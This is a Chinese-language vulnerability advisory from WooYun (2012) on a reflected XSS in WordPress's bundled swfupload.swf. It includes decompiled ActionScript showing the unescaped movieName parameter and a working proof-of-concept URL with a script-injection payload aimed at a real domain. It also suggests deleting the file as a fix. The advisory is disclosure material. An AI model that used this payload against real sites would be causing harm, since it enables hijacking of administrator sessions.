当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07280

漏洞标题:WordPress反射型XSS

相关厂商:Wordpress

漏洞作者: 路人甲

提交时间:2012-05-18 15:28

修复时间:2012-05-18 15:28

公开时间:2012-05-18 15:28

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-05-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

WordPress是一种使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL 数据库的服务器上架设自己的网志。也可以把 WordPress 当作一个内容管理系统(CMS)来使用。近日,国外安全研究人员公布,WordPress在部分功能实现上采用了不安全的第三方组件,导致XSS漏洞,当攻击者诱骗管理员点击,攻击成功可以直接GETSHELL。

详细说明:

原文:https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/
对wp-includes/js/swfupload/swfupload.swf进行反编译分析,尽管swfupload.swf其对传入ExternalInterface.call的第二个参数进行了安全编码,但对于函数名,即ExternalInterface.call的第一个参数没有进行安全编码。而函数名中的部分字符可控,造成xss漏洞。

this.movieName = root.loaderInfo.parameters.movieName;
...
this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
...
if (ExternalCall.Bool(this.testExternalInterface_Callback)){
ExternalCall.Simple(this.flashReady_Callback);
this.hasCalledFlashReady = true;
}
=================
class ExternalCall extends Object{
...
public static function Simple(param1:String) : void
{
ExternalInterface.call(param1);
return;
}

漏洞证明:

http://www.80sec.com/wp-includes/js/swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

修复方案:

暂时删除swfupload.swf,等待官方更新。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝